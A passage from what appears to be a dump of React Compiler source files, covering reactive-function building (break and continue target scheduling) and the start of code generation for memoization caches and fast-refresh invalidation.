block.place,\n          fallthrough: terminal.fallthrough,\n          id: terminal.id,\n        };\n      }\n      case 'optional': {\n        const {test, branch} = this.visitTestBlock(\n          terminal.test,\n          terminal.loc,\n          'optional',\n        );\n        const consequent = this.visitValueBlock(\n          branch.consequent,\n          terminal.loc,\n          terminal.fallthrough,\n        );\n        const call: ReactiveSequenceValue = {\n          kind: 'SequenceExpression',\n          instructions: [\n            {\n              id: test.id,\n              loc: branch.loc,\n              lvalue: test.place,\n              value: test.value,\n            },\n          ],\n          id: consequent.id,\n          value: consequent.value,\n          loc: terminal.loc,\n        };\n        return {\n          place: {...consequent.place},\n          value: {\n            kind: 'OptionalExpression',\n            optional: terminal.optional,\n            value: call,\n            id: terminal.id,\n            loc: terminal.loc,\n          },\n          fallthrough: terminal.fallthrough,\n          id: terminal.id,\n        };\n      }\n      case 'logical': {\n        const {test, branch} = this.visitTestBlock(\n          terminal.test,\n          terminal.loc,\n          'logical',\n        );\n        const leftFinal = this.visitValueBlock(\n          branch.consequent,\n          terminal.loc,\n          terminal.fallthrough,\n        );\n        const left: ReactiveSequenceValue = {\n          kind: 'SequenceExpression',\n          instructions: [\n            {\n              id: test.id,\n              loc: terminal.loc,\n              lvalue: test.place,\n              value: test.value,\n            },\n          ],\n          id: leftFinal.id,\n          value: leftFinal.value,\n          loc: terminal.loc,\n        };\n        const right = this.visitValueBlock(\n          branch.alternate,\n          terminal.loc,\n          terminal.fallthrough,\n        );\n        const value: ReactiveLogicalValue = {\n          kind: 'LogicalExpression',\n          operator: terminal.operator,\n          left: left,\n          right: right.value,\n          loc: terminal.loc,\n        };\n        return {\n          place: {...leftFinal.place},\n          value,\n          fallthrough: terminal.fallthrough,\n          id: terminal.id,\n        };\n      }\n      case 'ternary': {\n        const {test, branch} = this.visitTestBlock(\n          terminal.test,\n          terminal.loc,\n          'ternary',\n        );\n        const consequent = this.visitValueBlock(\n          branch.consequent,\n          terminal.loc,\n          terminal.fallthrough,\n        );\n        const alternate = this.visitValueBlock(\n          branch.alternate,\n          terminal.loc,\n          terminal.fallthrough,\n        );\n        const value: ReactiveTernaryValue = {\n          kind: 'ConditionalExpression',\n          test: test.value,\n          consequent: consequent.value,\n          alternate: alternate.value,\n          loc: terminal.loc,\n        };\n\n        return {\n          place: {...consequent.place},\n          value,\n          fallthrough: terminal.fallthrough,\n          id: terminal.id,\n        };\n      }\n      case 'maybe-throw': {\n        CompilerError.invariant(false, {\n          reason: `Unexpected maybe-throw in visitValueBlockTerminal - should be handled in visitValueBlock`,\n          description: null,\n          loc: terminal.loc,\n        });\n      }\n      case 'label': {\n        CompilerError.throwTodo({\n          reason: `Support labeled statements combined with value blocks (conditional, logical, optional chaining, etc)`,\n          description: null,\n          loc: terminal.loc,\n          suggestions: null,\n        });\n      }\n      default: {\n        CompilerError.throwTodo({\n          reason: `Support \\`${terminal.kind}\\` as a value block terminal (conditional, logical, optional chaining, etc)`,\n          description: null,\n          loc: terminal.loc,\n          suggestions: null,\n        });\n      }\n    }\n  }\n\n  emptyBlock(): ReactiveBlock {\n    return [];\n  }\n\n  visitBreak(\n    block: BlockId,\n    id: InstructionId,\n    loc: SourceLocation,\n  ): ReactiveTerminalStatement<ReactiveBreakTerminal> | null {\n    const target = this.cx.getBreakTarget(block);\n    if (target === null) {\n      CompilerError.invariant(false, {\n        reason: 'Expected a break target',\n        loc: GeneratedSource,\n      });\n    }\n    if (this.cx.scopeFallthroughs.has(target.block)) {\n      CompilerError.invariant(target.type === 'implicit', {\n        reason: 'Expected reactive scope to implicitly break to fallthrough',\n        loc,\n      });\n      return null;\n    }\n    return {\n      kind: 'terminal',\n      terminal: {\n        kind: 'break',\n        loc,\n        target: target.block,\n        id,\n        targetKind: target.type,\n      },\n      label: null,\n    };\n  }\n\n  visitContinue(\n    block: BlockId,\n    id: InstructionId,\n    loc: SourceLocation,\n  ): ReactiveTerminalStatement<ReactiveContinueTerminal> {\n    const target = this.cx.getContinueTarget(block);\n    CompilerError.invariant(target !== null, {\n      reason: `Expected continue target to be scheduled for bb${block}`,\n      loc: GeneratedSource,\n    });\n\n    return {\n      kind: 'terminal',\n      terminal: {\n        kind: 'continue',\n        loc,\n        target: target.block,\n        id,\n        targetKind: target.type,\n      },\n      label: null,\n    };\n  }\n}\n\nclass Context {\n  ir: HIR;\n  #nextScheduleId: number = 0;\n\n  /*\n   * Used to track which blocks *have been* generated already in order to\n   * abort if a block is generated a second time. This is an error catching\n   * mechanism for debugging purposes, and is not used by the codegen algorithm\n   * to drive decisions about how to emit blocks.\n   */\n  emitted: Set<BlockId> = new Set();\n\n  scopeFallthroughs: Set<BlockId> = new Set();\n  /*\n   * A set of blocks that are already scheduled to be emitted by eg a parent.\n   * This allows child nodes to avoid re-emitting the same block and emit eg\n   * a break instead.\n   */\n  #scheduled: Set<BlockId> = new Set();\n\n  #catchHandlers: Set<BlockId> = new Set();\n\n  /*\n   * Represents which control flow operations are currently in scope, with the innermost\n   * scope last. Roughly speaking, the last ControlFlowTarget on the stack indicates where\n   * control will implicitly transfer, such that gotos to that block can be elided. Gotos\n   * targeting items higher up the stack may need labeled break or continue; see\n   * getBreakTarget() and getContinueTarget() for more details.\n   */\n  #controlFlowStack: Array<ControlFlowTarget> = [];\n\n  constructor(ir: HIR) {\n    this.ir = ir;\n  }\n\n  block(id: BlockId): BasicBlock {\n    return this.ir.blocks.get(id)!;\n  }\n\n  scheduleCatchHandler(block: BlockId): void {\n    this.#catchHandlers.add(block);\n  }\n\n  reachable(id: BlockId): boolean {\n    const block = this.ir.blocks.get(id)!;\n    return block.terminal.kind !== 'unreachable';\n  }\n\n  /*\n   * Record that the given block will be emitted (eg by the codegen of a parent node)\n   * so that child nodes can avoid re-emitting it.\n   */\n  schedule(block: BlockId, type: 'if' | 'switch' | 'case'): number {\n    const id = this.#nextScheduleId++;\n    CompilerError.invariant(!this.#scheduled.has(block), {\n      reason: `Break block is already scheduled: bb${block}`,\n      loc: GeneratedSource,\n    });\n    this.#scheduled.add(block);\n    this.#controlFlowStack.push({block, id, type});\n    return id;\n  }\n\n  scheduleLoop(\n    fallthroughBlock: BlockId,\n    continueBlock: BlockId,\n    loopBlock: BlockId | null,\n  ): number {\n    const id = this.#nextScheduleId++;\n    const ownsBlock = !this.#scheduled.has(fallthroughBlock);\n    this.#scheduled.add(fallthroughBlock);\n    CompilerError.invariant(!this.#scheduled.has(continueBlock), {\n      reason: `Continue block is already scheduled: bb${continueBlock}`,\n      loc: GeneratedSource,\n    });\n    this.#scheduled.add(continueBlock);\n    let ownsLoop = false;\n    if (loopBlock !== null) {\n      ownsLoop = !this.#scheduled.has(loopBlock);\n      this.#scheduled.add(loopBlock);\n    }\n\n    this.#controlFlowStack.push({\n      block: fallthroughBlock,\n      ownsBlock,\n      id,\n      type: 'loop',\n      continueBlock,\n      loopBlock,\n      ownsLoop,\n    });\n    return id;\n  }\n\n  // Removes a block that was scheduled; must be called after that block is emitted.\n  unschedule(scheduleId: number): void {\n    const last = this.#controlFlowStack.pop();\n    CompilerError.invariant(last !== undefined && last.id === scheduleId, {\n      reason: 'Can only unschedule the last target',\n      loc: GeneratedSource,\n    });\n    if (last.type !== 'loop' || last.ownsBlock !== null) {\n      this.#scheduled.delete(last.block);\n    }\n    if (last.type === 'loop') {\n      this.#scheduled.delete(last.continueBlock);\n      if (last.ownsLoop && last.loopBlock !== null) {\n        this.#scheduled.delete(last.loopBlock);\n      }\n    }\n  }\n\n  /*\n   * Helper to unschedule multiple scheduled blocks. The ids should be in\n   * the order in which they were scheduled, ie most recently scheduled last.\n   */\n  unscheduleAll(scheduleIds: Array<number>): void {\n    for (let i = scheduleIds.length - 1; i >= 0; i--) {\n      this.unschedule(scheduleIds[i]!);\n    }\n  }\n\n  // Check if the given @param block is scheduled or not.\n  isScheduled(block: BlockId): boolean {\n    return this.#scheduled.has(block) || this.#catchHandlers.has(block);\n  }\n\n  /*\n   * Given the current control flow stack, determines how a `break` to the given @param block\n   * must be emitted. Returns as follows:\n   * - 'implicit' if control would implicitly transfer to that block\n   * - 'labeled' if a labeled break is required to transfer control to that block\n   * - 'unlabeled' if an unlabeled break would transfer to that block\n   * - null if there is no information for this block\n   *\n   * The returned 'block' value should be used as the label if necessary.\n   */\n  getBreakTarget(block: BlockId): {\n    block: BlockId;\n    type: ReactiveTerminalTargetKind;\n  } {\n    let hasPrecedingLoop = false;\n    for (let i = this.#controlFlowStack.length - 1; i >= 0; i--) {\n      const target = this.#controlFlowStack[i]!;\n      if (target.block === block) {\n        let type: ReactiveTerminalTargetKind;\n        if (target.type === 'loop') {\n          /*\n           * breaking out of a loop requires an explicit break,\n           * but only requires a label if breaking past the innermost loop.\n           */\n          type = hasPrecedingLoop ? 'labeled' : 'unlabeled';\n        } else if (i === this.#controlFlowStack.length - 1) {\n          /*\n           * breaking to the last break point, which is where control will transfer\n           * implicitly\n           */\n          type = 'implicit';\n        } else {\n          // breaking somewhere else requires an explicit break\n          type = 'labeled';\n        }\n        return {\n          block: target.block,\n          type,\n        };\n      }\n      hasPrecedingLoop ||= target.type === 'loop';\n    }\n\n    CompilerError.invariant(false, {\n      reason: 'Expected a break target',\n      loc: GeneratedSource,\n    });\n  }\n\n  /*\n   * Given the current control flow stack, determines how a `continue` to the given @param block\n   * must be emitted. Returns as follows:\n   * - 'implicit' if control would implicitly continue to that block\n   * - 'labeled' if a labeled continue is required to continue to that block\n   * - 'unlabeled' if an unlabeled continue would transfer to that block\n   * - null if there is no information for this block\n   *\n   * The returned 'block' value should be used as the label if necessary.\n   */\n  getContinueTarget(\n    block: BlockId,\n  ): {block: BlockId; type: ReactiveTerminalTargetKind} | null {\n    let hasPrecedingLoop = false;\n    for (let i = this.#controlFlowStack.length - 1; i >= 0; i--) {\n      const target = this.#controlFlowStack[i]!;\n      if (target.type == 'loop' && target.continueBlock === block) {\n        let type: ReactiveTerminalTargetKind;\n        if (hasPrecedingLoop) {\n          /*\n           * continuing to a loop that is not the innermost loop always requires\n           * a label\n           */\n          type = 'labeled';\n        } else if (i === this.#controlFlowStack.length - 1) {\n          /*\n           * continuing to the last break point, which is where control will\n           * transfer to naturally\n           */\n          type = 'implicit';\n        } else {\n          /*\n           * the continue is inside some conditional logic, requires an explicit\n           * continue\n           */\n          type = 'unlabeled';\n        }\n        return {\n          block: target.block,\n          type,\n        };\n      }\n      hasPrecedingLoop ||= target.type === 'loop';\n    }\n    return null;\n  }\n\n  debugBreakTargets(): Array<ControlFlowTarget> {\n    return this.#controlFlowStack.map(target => ({...target}));\n  }\n}\n\ntype ControlFlowTarget =\n  | {type: 'if'; block: BlockId; id: number}\n  | {type: 'switch'; block: BlockId; id: number}\n  | {type: 'case'; block: BlockId; id: number}\n  | {\n      type: 'loop';\n      block: BlockId;\n      ownsBlock: boolean;\n      continueBlock: BlockId;\n      loopBlock: BlockId | null;\n      ownsLoop: boolean;\n      id: number;\n    };\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/CodegenReactiveFunction.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport * as t from '@babel/types';\nimport {createHmac} from 'crypto';\nimport {\n  pruneHoistedContexts,\n  pruneUnusedLValues,\n  pruneUnusedLabels,\n  renameVariables,\n} from '.';\nimport {\n  CompilerError,\n  CompilerErrorDetail,\n  ErrorCategory,\n} from '../CompilerError';\nimport {Environment, ExternalFunction} from '../HIR';\nimport {\n  ArrayPattern,\n  BlockId,\n  DeclarationId,\n  GeneratedSource,\n  Identifier,\n  IdentifierId,\n  InstructionKind,\n  JsxAttribute,\n  ObjectMethod,\n  ObjectPropertyKey,\n  Pattern,\n  Place,\n  PrunedReactiveScopeBlock,\n  ReactiveBlock,\n  ReactiveFunction,\n  ReactiveInstruction,\n  ReactiveScope,\n  ReactiveScopeBlock,\n  ReactiveScopeDeclaration,\n  ReactiveScopeDependency,\n  ReactiveTerminal,\n  ReactiveValue,\n  SourceLocation,\n  SpreadPattern,\n  ValidIdentifierName,\n  getHookKind,\n  makeIdentifierName,\n} from '../HIR/HIR';\nimport {printIdentifier, printInstruction, printPlace} from '../HIR/PrintHIR';\nimport {eachPatternOperand} from '../HIR/visitors';\n\nimport {GuardKind} from '../Utils/RuntimeDiagnosticConstants';\nimport {assertExhaustive} from '../Utils/utils';\nimport {buildReactiveFunction} from './BuildReactiveFunction';\nimport {SINGLE_CHILD_FBT_TAGS} from './MemoizeFbtAndMacroOperandsInSameScope';\nimport {ReactiveFunctionVisitor, visitReactiveFunction} from './visitors';\nimport {ReactFunctionType} from '../HIR/Environment';\nimport {ProgramContext} from '../Entrypoint';\n\nexport const MEMO_CACHE_SENTINEL = 'react.memo_cache_sentinel';\nexport const EARLY_RETURN_SENTINEL = 'react.early_return_sentinel';\n\nexport type CodegenFunction = {\n  type: 'CodegenFunction';\n  id: t.Identifier | null;\n  nameHint: string | null;\n  params: t.FunctionDeclaration['params'];\n  body: t.BlockStatement;\n  generator: boolean;\n  async: boolean;\n  loc: SourceLocation;\n\n  /*\n   * Compiler info for logging and heuristics\n   * Number of memo slots (value passed to useMemoCache)\n   */\n  memoSlotsUsed: number;\n  /*\n   * Number of memo *blocks* (reactive scopes) regardless of\n   * how many inputs/outputs each block has\n   */\n  memoBlocks: number;\n\n  /**\n   * Number of memoized values across all reactive scopes\n   */\n  memoValues: number;\n\n  /**\n   * The number of reactive scopes that were created but had to be discarded\n   * because they contained hook calls.\n   */\n  prunedMemoBlocks: number;\n\n  /**\n   * The total number of values that should have been memoized but weren't\n   * because they were part of a pruned memo block.\n   */\n  prunedMemoValues: number;\n\n  outlined: Array<{\n    fn: CodegenFunction;\n    type: ReactFunctionType | null;\n  }>;\n};\n\nexport function codegenFunction(\n  fn: ReactiveFunction,\n  {\n    uniqueIdentifiers,\n    fbtOperands,\n  }: {\n    uniqueIdentifiers: Set<string>;\n    fbtOperands: Set<IdentifierId>;\n  },\n): CodegenFunction {\n  const cx = new Context(\n    fn.env,\n    fn.id ?? '[[ anonymous ]]',\n    uniqueIdentifiers,\n    fbtOperands,\n    null,\n  );\n\n  /**\n   * Fast Refresh reuses component instances at runtime even as the source of the component changes.\n   * The generated code needs to prevent values from one version of the code being reused after a code cange.\n   * If HMR detection is enabled and we know the source code of the component, assign a cache slot to track\n   * the source hash, and later, emit code to check for source changes and reset the cache on source changes.\n   */\n  let fastRefreshState: {\n    cacheIndex: number;\n    hash: string;\n  } | null = null;\n  if (\n    fn.env.config.enableResetCacheOnSourceFileChanges &&\n    fn.env.code !== null\n  ) {\n    const hash = createHmac('sha256', fn.env.code).digest('hex');\n    fastRefreshState = {\n      cacheIndex: cx.nextCacheIndex,\n      hash,\n    };\n  }\n\n  const compiled = codegenReactiveFunction(cx, fn);\n\n  const hookGuard = fn.env.config.enableEmitHookGuards;\n  if (hookGuard != null && fn.env.outputMode === 'client') {\n    compiled.body = t.blockStatement([\n      createHookGuard(\n        hookGuard,\n        fn.env.programContext,\n        compiled.body.body,\n        GuardKind.PushHookGuard,\n        GuardKind.PopHookGuard,\n      ),\n    ]);\n  }\n\n  const cacheCount = compiled.memoSlotsUsed;\n  if (cacheCount !== 0) {\n    const preface: Array<t.Statement> = [];\n    const useMemoCacheIdentifier =\n      fn.env.programContext.addMemoCacheImport().name;\n\n    // The import declaration for `useMemoCache` is inserted in the Babel plugin\n    preface.push(\n      t.variableDeclaration('const', [\n        t.variableDeclarator(\n          t.identifier(cx.synthesizeName('$')),\n          t.callExpression(t.identifier(useMemoCacheIdentifier), [\n            t.numericLiteral(cacheCount),\n          ]),\n        ),\n      ]),\n    );\n    if (fastRefreshState !== null) {\n      // HMR detection is enabled, emit code to reset the memo cache on source changes\n      const index = cx.synthesizeName('$i');\n      preface.push(\n        t.ifStatement(\n          t.binaryExpression(\n            '!==',\n            t.memberExpression(\n              t.identifier(cx.synthesizeName('$')),\n              t.numericLiteral(fastRefreshState.cacheIndex),\n              true,\n            ),\n            t.stringLiteral(fastRefreshState.hash),\n          ),\n          t.blockStatement([\n            t.forStatement(\n              t.variableDeclaration('let', [\n                t.variableDeclarator(t.identifier(index), t.numericLiteral(0)),\n              ]),\n              t.binaryExpression(\n                '<',\n                t.identifier(index),\n                t.numericLiteral(cacheCount),\n              ),\n              t.assignmentExpression(\n                '+=',\n                t.identifier(index),\n                t.numericLiteral(1),\n              ),\n              t.blockStatement([\n                t.expressionStatement(\n                  t.assignmentExpression(\n                    '=',\n                    t.memberExpression(\n                      t.identifier(cx.synthesizeName('$')),\n                      t.identifier(index),\n                      true,\n                    ),\n                    t.callExpression(\n                      t.memberExpression(\n                        t.identifier('Symbol'),\n                        t.identifier('for'),\n                      ),\n                      [t.stringLiteral(MEMO_CACHE_SENTINEL)],\n                    ),\n                  ),\n                ),\n              ]),\n            ),\n            t.expressionStatement(\n              t.assignmentExpression(\n                '=',\n                t.memberExpression(\n                  t.identifier(cx.synthesizeName('$')),\n                  t.numericLiteral(fastRefreshState.cacheIndex),\n                  true,\n                ),\n                t.stringLiteral(fastRefreshState.hash),\n              ),\n            ),\n          ]),\n        ),\n      );\n    }\n    compiled.body.body.unshift(...preface);\n  }\n\n  const emitInstrumentForget = fn.env.config.enableEmitInstrumentForget;\n  if (\n    emitInstrumentForget != null &&\n    fn.id != null &&\n    fn.env.outputMode === 'client'\n  ) {\n    /*\n     * Technically, this is a conditional hook call. However, we expect\n     * __DEV__ and gating identifier to be runtime constants\n     */\n    const gating =\n      emitInstrumentForget.gating != null\n        ? t.identifier(\n            fn.env.programContext.addImportSpecifier(\n              emitInstrumentForget.gating,\n            ).name,\n          )\n        : null;\n\n    const globalGating =\n      emitInstrumentForget.globalGating != null\n        ? t.identifier(emitInstrumentForget.globalGating)\n        : null;\n\n    if (emitInstrumentForget.globalGating != null) {\n      const assertResult = fn.env.programContext.assertGlobalBinding(\n        emitInstrumentForget.globalGating,\n      );\n      if (assertResult.isErr()) {\n        fn.env.recordErrors(assertResult.unwrapErr());\n      }\n    }\n\n    let ifTest: t.Expression;\n    if (gating != null && globalGating != null) {\n      ifTest = t.logicalExpression('&&', globalGating, gating);\n    } else if (gating != null) {\n      ifTest = gating;\n    } else {\n      CompilerError.invariant(globalGating != null, {\n        reason:\n          'Bad config not caught! Expected at least one of gating or globalGating',\n        loc: GeneratedSource,\n      });\n      ifTest = globalGating;\n    }\n\n    const instrumentFnIdentifier = fn.env.programContext.addImportSpecifier(\n      emitInstrumentForget.fn,\n    ).name;\n    const test: t.IfStatement = t.ifStatement(\n      ifTest,\n      t.expressionStatement(\n        t.callExpression(t.identifier(instrumentFnIdentifier), [\n          t.stringLiteral(fn.id),\n          t.stringLiteral(fn.env.filename ?? ''),\n        ]),\n      ),\n    );\n    compiled.body.body.unshift(test);\n  }\n\n  const outlined: CodegenFunction['outlined'] = [];\n  for (const {fn: outlinedFunction, type} of cx.env.getOutlinedFunctions()) {\n    const reactiveFunction = buildReactiveFunction(outlinedFunction);\n    pruneUnusedLabels(reactiveFunction);\n    pruneUnusedLValues(reactiveFunction);\n    pruneHoistedContexts(reactiveFunction);\n\n    const identifiers = renameVariables(reactiveFunction);\n    const codegen = codegenReactiveFunction(\n      new Context(\n        cx.env,\n        reactiveFunction.id ?? '[[ anonymous ]]',\n        identifiers,\n        cx.fbtOperands,\n      ),\n      reactiveFunction,\n    );\n    outlined.push({fn: codegen, type});\n  }\n  compiled.outlined = outlined;\n\n  return compiled;\n}\n\nfunction codegenReactiveFunction(\n  cx: Context,\n  fn: ReactiveFunction,\n): CodegenFunction {\n  for (const param of fn.params) {\n    const place = param.kind === 'Identifier' ? param : param.place;\n    cx.temp.set(place.identifier.declarationId, null);\n    cx.declare(place.identifier);\n  }\n\n  const params = fn.params.map(param => convertParameter(param));\n  const body: t.BlockStatement = codegenBlock(cx, fn.body);\n  body.directives = fn.directives.map(d => t.directive(t.directiveLiteral(d)));\n  const statements = body.body;\n  if (statements.length !== 0) {\n    const last = statements[statements.length - 1];\n    if (last.type === 'ReturnStatement' && last.argument == null) {\n      statements.pop();\n    }\n  }\n\n  const countMemoBlockVisitor = new CountMemoBlockVisitor(fn.env);\n  visitReactiveFunction(fn, countMemoBlockVisitor, undefined);\n\n  return {\n    type: 'CodegenFunction',\n    loc: fn.loc,\n    id: fn.id !== null ? t.identifier(fn.id) : null,\n    nameHint: fn.nameHint,\n    params,\n    body,\n    generator: fn.generator,\n    async: fn.async,\n    memoSlotsUsed: cx.nextCacheIndex,\n    memoBlocks: countMemoBlockVisitor.memoBlocks,\n    memoValues: countMemoBlockVisitor.memoValues,\n    prunedMemoBlocks: countMemoBlockVisitor.prunedMemoBlocks,\n    prunedMemoValues: countMemoBlockVisitor.prunedMemoValues,\n    outlined: [],\n  };\n}\n\nclass CountMemoBlockVisitor extends ReactiveFunctionVisitor<void> {\n  env: Environment;\n  memoBlocks: number = 0;\n  memoValues: number = 0;\n  prunedMemoBlocks: number = 0;\n  prunedMemoValues: number = 0;\n\n  constructor(env: Environment) {\n    super();\n    this.env = env;\n  }\n\n  override visitScope(scopeBlock: ReactiveScopeBlock, state: void): void {\n    this.memoBlocks += 1;\n    this.memoValues += scopeBlock.scope.declarations.size;\n    this.traverseScope(scopeBlock, state);\n  }\n\n  override visitPrunedScope(\n    scopeBlock: PrunedReactiveScopeBlock,\n    state: void,\n  ): void {\n    this.prunedMemoBlocks += 1;\n    this.prunedMemoValues += scopeBlock.scope.declarations.size;\n    this.traversePrunedScope(scopeBlock, state);\n  }\n}\n\nfunction convertParameter(\n  param: Place | SpreadPattern,\n): t.Identifier | t.RestElement {\n  if (param.kind === 'Identifier') {\n    return convertIdentifier(param.identifier);\n  } else {\n    return t.restElement(convertIdentifier(param.place.identifier));\n  }\n}\n\nclass Context {\n  env: Environment;\n  fnName: string;\n  #nextCacheIndex: number = 0;\n  /**\n   * Tracks which named variables have been declared to dedupe declarations,\n   * so this uses DeclarationId instead of IdentifierId\n   */\n  #declarations: Set<DeclarationId> = new Set();\n  temp: Temporaries;\n  objectMethods: Map<IdentifierId, ObjectMethod> = new Map();\n  uniqueIdentifiers: Set<string>;\n  fbtOperands: Set<IdentifierId>;\n  synthesizedNames: Map<string, ValidIdentifierName> = new Map();\n\n  constructor(\n    env: Environment,\n    fnName: string,\n    uniqueIdentifiers: Set<string>,\n    fbtOperands: Set<IdentifierId>,\n    temporaries: Temporaries | null = null,\n  ) {\n    this.env = env;\n    this.fnName = fnName;\n    this.uniqueIdentifiers = uniqueIdentifiers;\n    this.fbtOperands = fbtOperands;\n    this.temp = temporaries !== null ? new Map(temporaries) : new Map();\n  }\n\n  recordError(error: CompilerErrorDetail): void {\n    this.env.recordError(error);\n  }\n\n  get nextCacheIndex(): number {\n    return this.#nextCacheIndex++;\n  }\n\n  declare(identifier: Identifier): void {\n    this.#declarations.add(identifier.declarationId);\n  }\n\n  hasDeclared(identifier: Identifier): boolean {\n    return this.#declarations.has(identifier.declarationId);\n  }\n\n  synthesizeName(name: string): ValidIdentifierName {\n    const previous = this.synthesizedNames.get(name);\n    if (previous !== undefined) {\n      return previous;\n    }\n    let validated = makeIdentifierName(name).value;\n    let index = 0;\n    while (this.uniqueIdentifiers.has(validated)) {\n      validated = makeIdentifierName(`${name}${index++}`).value;\n    }\n    this.uniqueIdentifiers.add(validated);\n    this.synthesizedNames.set(name, validated);\n    return validated;\n  }\n}\n\nfunction codegenBlock(cx: Context, block: ReactiveBlock): t.BlockStatement {\n  const temp = new Map(cx.temp);\n  const result = codegenBlockNoReset(cx, block);\n  /*\n   * Check that the block only added new temporaries and did not update the\n   * value of any existing temporary\n   */\n  for (const [key, value] of cx.temp) {\n    if (!temp.has(key)) {\n      continue;\n    }\n    CompilerError.invariant(temp.get(key)! === value, {\n      reason: 'Expected temporary value to be unchanged',\n      loc: GeneratedSource,\n    });\n  }\n  cx.temp = temp;\n  return result;\n}\n\n/*\n * Generates code for the block, without resetting the Context's temporary state.\n * This should not be used unless it is expected that temporaries from this block\n * can be referenced later, which is currently only true for sequence expressions\n * where the final `value` is expected to reference the temporary created in the\n * preceding instructions of the sequence.\n */\nfunction codegenBlockNoReset(\n  cx: Context,\n  block: ReactiveBlock,\n): t.BlockStatement {\n  const statements: Array<t.Statement> = [];\n  for (const item of block) {\n    switch (item.kind) {\n      case 'instruction': {\n        const statement = codegenInstructionNullable(cx, item.instruction);\n        if (statement !== null) {\n          statements.push(statement);\n        }\n        break;\n      }\n      case 'pruned-scope': {\n        const scopeBlock = codegenBlockNoReset(cx, item.instructions);\n        statements.push(...scopeBlock.body);\n        break;\n      }\n      case 'scope': {\n        const temp = new Map(cx.temp);\n        codegenReactiveScope(cx, statements, item.scope, item.instructions);\n        cx.temp = temp;\n        break;\n      }\n      case 'terminal': {\n        const statement = codegenTerminal(cx, item.terminal);\n        if (statement === null) {\n          break;\n        }\n        if (item.label !== null && !item.label.implicit) {\n          const block =\n            statement.type === 'BlockStatement' && statement.body.length === 1\n              ? statement.body[0]\n              : statement;\n          statements.push(\n            t.labeledStatement(\n              t.identifier(codegenLabel(item.label.id)),\n              block,\n            ),\n          );\n        } else if (statement.type === 'BlockStatement') {\n          statements.push(...statement.body);\n        } else {\n          statements.push(statement);\n        }\n        break;\n      }\n      default: {\n        assertExhaustive(\n          item,\n          `Unexpected item kind \\`${(item as any).kind}\\``,\n        );\n      }\n    }\n  }\n  return t.blockStatement(statements);\n}\n\nfunction codegenReactiveScope(\n  cx: Context,\n  statements: Array<t.Statement>,\n  scope: ReactiveScope,\n  block: ReactiveBlock,\n): void {\n  const cacheStoreStatements: Array<t.Statement> = [];\n  const cacheLoadStatements: Array<t.Statement> = [];\n  const cacheLoads: Array<{\n    name: t.Identifier;\n    index: number;\n    value: t.Expression;\n  }> = [];\n  const changeExpressions: Array<t.Expression> = [];\n\n  for (const dep of [...scope.dependencies].sort(compareScopeDependency)) {\n    const index = cx.nextCacheIndex;\n    const comparison = t.binaryExpression(\n      '!==',\n      t.memberExpression(\n        t.identifier(cx.synthesizeName('$')),\n        t.numericLiteral(index),\n        true,\n      ),\n      codegenDependency(cx, dep),\n    );\n    changeExpressions.push(comparison);\n    /*\n     * Adding directly to cacheStoreStatements rather than cacheLoads, because there\n     * is no corresponding cacheLoadStatement for dependencies\n     */\n    cacheStoreStatements.push(\n      t.expressionStatement(\n        t.assignmentExpression(\n          '=',\n          t.memberExpression(\n            t.identifier(cx.synthesizeName('$')),\n            t.numericLiteral(index),\n            true,\n          ),\n          codegenDependency(cx, dep),\n        ),\n      ),\n    );\n  }\n  let firstOutputIndex: number | null = null;\n\n  for (const [, {identifier}] of [...scope.declarations].sort(([, a], [, b]) =>\n    compareScopeDeclaration(a, b),\n  )) {\n    const index = cx.nextCacheIndex;\n    if (firstOutputIndex === null) {\n      firstOutputIndex = index;\n    }\n\n    CompilerError.invariant(identifier.name != null, {\n      reason: `Expected scope declaration identifier to be named`,\n      description: `Declaration \\`${printIdentifier(\n        identifier,\n      )}\\` is unnamed in scope @${scope.id}`,\n      loc: GeneratedSource,\n    });\n\n    const name = convertIdentifier(identifier);\n    if (!cx.hasDeclared(identifier)) {\n      statements.push(\n        t.variableDeclaration('let', [createVariableDeclarator(name, null)]),\n      );\n    }\n    cacheLoads.push({name, index, value: name});\n    cx.declare(identifier);\n  }\n  for (const reassignment of scope.reassignments) {\n    const index = cx.nextCacheIndex;\n    if (firstOutputIndex === null) {\n      firstOutputIndex = index;\n    }\n    const name = convertIdentifier(reassignment);\n    cacheLoads.push({name, index, value: name});\n  }\n\n  let testCondition = (changeExpressions as Array<t.Expression>).reduce(\n    (acc: t.Expression | null, ident: t.Expression) => {\n      if (acc == null) {\n        return ident;\n      }\n      return t.logicalExpression('||', acc, ident);\n    },\n    null as t.Expression | null,\n  );\n  if (testCondition === null) {\n    CompilerError.invariant(firstOutputIndex !== null, {\n      reason: `Expected scope to have at least one declaration`,\n      description: `Scope '@${scope.id}' has no declarations`,\n      loc: GeneratedSource,\n    });\n    testCondition = t.binaryExpression(\n      '===',\n      t.memberExpression(\n        t.identifier(cx.synthesizeName('$')),\n        t.numericLiteral(firstOutputIndex),\n        true,\n      ),\n      t.callExpression(\n        t.memberExpression(t.identifier('Symbol'), t.identifier('for')),\n        [t.stringLiteral(MEMO_CACHE_SENTINEL)],\n      ),\n    );\n  }\n\n  let computationBlock = codegenBlock(cx, block);\n\n  let memoStatement;\n  for (const {name, index, value} of cacheLoads) {\n    cacheStoreStatements.push(\n      t.expressionStatement(\n        t.assignmentExpression(\n          '=',\n          t.memberExpression(\n            t.identifier(cx.synthesizeName('$')),\n            t.numericLiteral(index),\n            true,\n          ),\n          value,\n        ),\n      ),\n    );\n    cacheLoadStatements.push(\n      t.expressionStatement(\n        t.assignmentExpression(\n          '=',\n          name,\n          t.memberExpression(\n            t.identifier(cx.synthesizeName('$')),\n            t.numericLiteral(index),\n            true,\n          ),\n        ),\n      ),\n    );\n  }\n  computationBlock.body.push(...cacheStoreStatements);\n  memoStatement = t.ifStatement(\n    testCondition,\n    computationBlock,\n    t.blockStatement(cacheLoadStatements),\n  );\n\n  statements.push(memoStatement);\n\n  const earlyReturnValue = scope.earlyReturnValue;\n  if (earlyReturnValue !== null) {\n    CompilerError.invariant(\n      earlyReturnValue.value.name !== null &&\n        earlyReturnValue.value.name.kind === 'named',\n      {\n        reason: `Expected early return value to be promoted to a named variable`,\n        loc: earlyReturnValue.loc,\n      },\n    );\n    const name: ValidIdentifierName = earlyReturnValue.value.name.value;\n    statements.push(\n      t.ifStatement(\n        t.binaryExpression(\n          '!==',\n          t.identifier(name),\n          t.callExpression(\n            